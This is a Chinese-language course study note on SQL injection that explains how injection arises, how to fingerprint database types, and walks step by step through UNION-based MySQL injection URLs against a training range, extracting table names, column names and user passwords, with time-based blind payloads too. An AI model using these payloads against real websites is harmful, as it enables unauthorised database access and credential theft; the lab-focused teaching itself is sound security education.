《小迪网络安全笔记》 第十二节:WEB漏洞-SQL注入之简要SQL注入

Posted 风冷晨

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《小迪网络安全笔记》 第十二节:WEB漏洞-SQL注入之简要SQL注入相关的知识,希望对你有一定的参考价值。

前言

在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

注:左边的比右边的难,学习顺序为从右向左。

一、忍者安全测试系统使用说明

二、上述思维导图简要说明

操作系统:windows和linux对大小写敏感不同,如果查了操作系统可以避免这个问题。


数据库名:如果不知道数据库名查询的时候会有问题。


数据库用户:判定是否为高权限,如果是高权限则选择的余地更多。


文件读写:文件读写需要路径,所以可以通过文件读写查到路径。

注:数据库5.0以上为高版本,5.0以下为低版本。

三、SQL注入安全测试中危害

1、通过注入点直接获取权限,操作后台数据库,危害数据

2、通过注入点获取部分内容,之后通过其他方法来获取权限,危害网站权限

注:如果SQL语句中不存在变量,则不能操作,也就不会产生漏洞。

四、SQL注入产生原理详细分析

(1)可控变量,带入数据库查询,变量未存在过滤或过滤不严谨,即如果过滤比较严谨,则没有注入点。

(2)通过参数传递到原有的SQL语句中,从而实现自定义的查询。即把恶意代码传递到对方网站中。

注:(1)和(2)是一个意思。

(3)例题

①下列可能存在注入的编号选项有哪几个?

www.xiaodi8.com/index.php?id=8

www.xiaodi8.com/?id=10(虽然前面没有index.php,但是网站默认是加上的。)

www.xiaodi8.com/?id=10&x=1(两个参数,哪个能注入用哪个)

www.xiaodi8.com/index.php(post注入)

答案:四个都对,但是以目前的实力来说,只能理解到12或者123,。

②参数x有注入,以下哪个注入正确?

www.xiaodi8.com/news.php?y=1 and 1=1&1=2(and 1=1应该写在x后面)

www.xiaodi8.com/news.php?y=1&x=2 and 1=1

www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1

www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1(前面是xx,后面是xxx,参数名不对)

答案:bc

注:注入点要写在id的后面。

五、搭建第一个SQL注入学习靶场环境

https://blog.csdn.net/weixin_43211186/article/details/103008549

https://www.fujieace.com/penetration-test/sqli-labs-ec.html

注:前半部分用第一个,后半部分用第二个。

六、数据库结构

1、mysql数据库

(1)结构

数据库a=网站a

​ 表名

​ 列名

​ 数据

数据库b=网站b

​ 表名

​ 列名

​ 数据

数据库c=网站c

​ 表名

​ 列名

​ 数据

(2)注入过程

  • 获取数据库对应网站
  • 获取表名
  • 获取列名
  • 获取数据

(3)数据库基本命令

show databases; 显示数据库名


use 数据库名 使用这个数据库


show tables 显示所有表(表名)


select * fn_member; 所有范围内查询member(*表示查询所有)

select password from fn_member; 在fn_member表里查询password列

七、怎么判断数据库类型

1、前端与数据库类型

asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL

2、根据端口判断

Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306

3、根据数据库特有函数来判断

(1)len和length

len():SQL Server 、MySQL以及db2返回长度的函数。
length():Oracle和INFORMIX返回长度的函数。

(2)version和@@version

version():MySQL查询版本信息的函数
@@version:MySQL和SQL Server查询版本信息的函数

(3)substring和substr

MySQL两个函数都可以使用
Oracle只可调用substr
SQL Server只可调用substring

4、根据特殊符号进行判断

/*是MySQL数据库的注释符
--是Oracle和SQL Server支持的注释符
;是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/

5、根据数据库对字符串的处理方式判断

(1)MySQL

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' 
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab' 

(2)Oracle

http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab' 
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab' 

(3)SQL Server

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' 

6、根据数据库特有的数据表来判断

(1)MySQL(version>5.0)

http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

(2)Oracle

http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

(3)SQL Server

http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

7、根据盲注特别函数判断

(1)MySQL

BENCHMARK(1000000,ENCODE(‘QWE’,‘ASD’))
SLEEP(5)

(2)PostgreSQL

PG_SLEEP(5)
GENERATE_SERIES(1,1000000)

(3)SQL Server

WAITFOR DELAY ‘0:0:5’

八、如何判断注入点

1、老方法

(1)过程

and 1=1 页面正常

and 1=2 页面错误

可能存在注入点

(2)原理

在数据库中存在逻辑运算符(或or、且and、非xor),用and 1=1来判定。如果是1=1表示真且真,其中且就是and,如果是1=2则为真且假,逻辑不成立,所以返回的是错误页面。

2、新方法

在id=1的后面随便输入东西,如果有错误,则说明他带入了数据库查询了,则说明有注入点

注:如果结果是404错误或者直接跳转,则说明网站对输入的东西有检测,则说明这个网站没有漏洞。

九、学习第一个数据库MySQL简单注入

1、注入步骤

(1)判断注入

(2)猜解列名数量(字段数) order by x 错误与正常的临界值

​ http://219.153.49.228:48354/new_list.php?id=1 order by 4

(3)报错猜解准备(目的是为了让它报错)

http://219.153.49.228:48354/new_list.php?id=1%20union%20select%1,2,3,4

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,2,3,4

注:报错数字是随机产生,报错什么数字就用什么数字查,比如报了2和3,则用2和3查。

(4)查询

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,database(),version(),4 (查询数据库名称和数据库版本)

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4 (查询数据库用户和操作系统)

注:@@version_compile_os后面没有括号!!!

(5)查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

注解:

union%20select 查询

table_name 表名

information_schema.tables 记录所有表名信息的表

where 条件

table_schema 数据库名

mozhe_Discuz_StormGroup 需要查询的数据库名

group_concat(table_name) 查询所有表名

(6)查询指定表名StormGroup_member下的列名信息:

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

(7)查询指定数据

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,name,password,4 StormGroup_member

2、信息收集

数据库版本:version() 5.7.22-0ubuntu0.16.04.1

数据库名称:database() mozhe_Discuz_StormGroup

数据库用户:user() root@localhost

操作系统:@@version_compile_os Linux

3、必要知识点

(1)在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_achema,它是一个存储记录所有数据库名、表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

(2)数据库中符号.代表下一级,如xaiodi.user表示xiaodi数据库下的user表名。

(3)information_schema.tables:记录所有表名信息的表

​ information_schema.columns:记录所有列名信息的表

​ table_name:表名

​ column_name:列名

​ table_schema:数据库名

注:猜解多个数据可以采用limit,x,1变动猜解,x为变量值

十、案例演示:

1、简易代码分析SQL注入原理

2、Sqlilabs注入靶场搭建简要使用

3、墨者靶机真实MYSQL注入演示

十一、涉及资源:

https://github.com/Audi-1/sqli-labs

QQ群文件-忍者安全测试系统-禁用软盘安装

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

以上是关于《小迪网络安全笔记》 第十二节:WEB漏洞-SQL注入之简要SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

(2020上半年第5天(漏洞发现))小迪网络安全笔记

python学习笔记第十二节

学习笔记第十二节课

小迪网安笔记一:基础入门

小迪安全web学习笔记

第十二节,卷积神经网络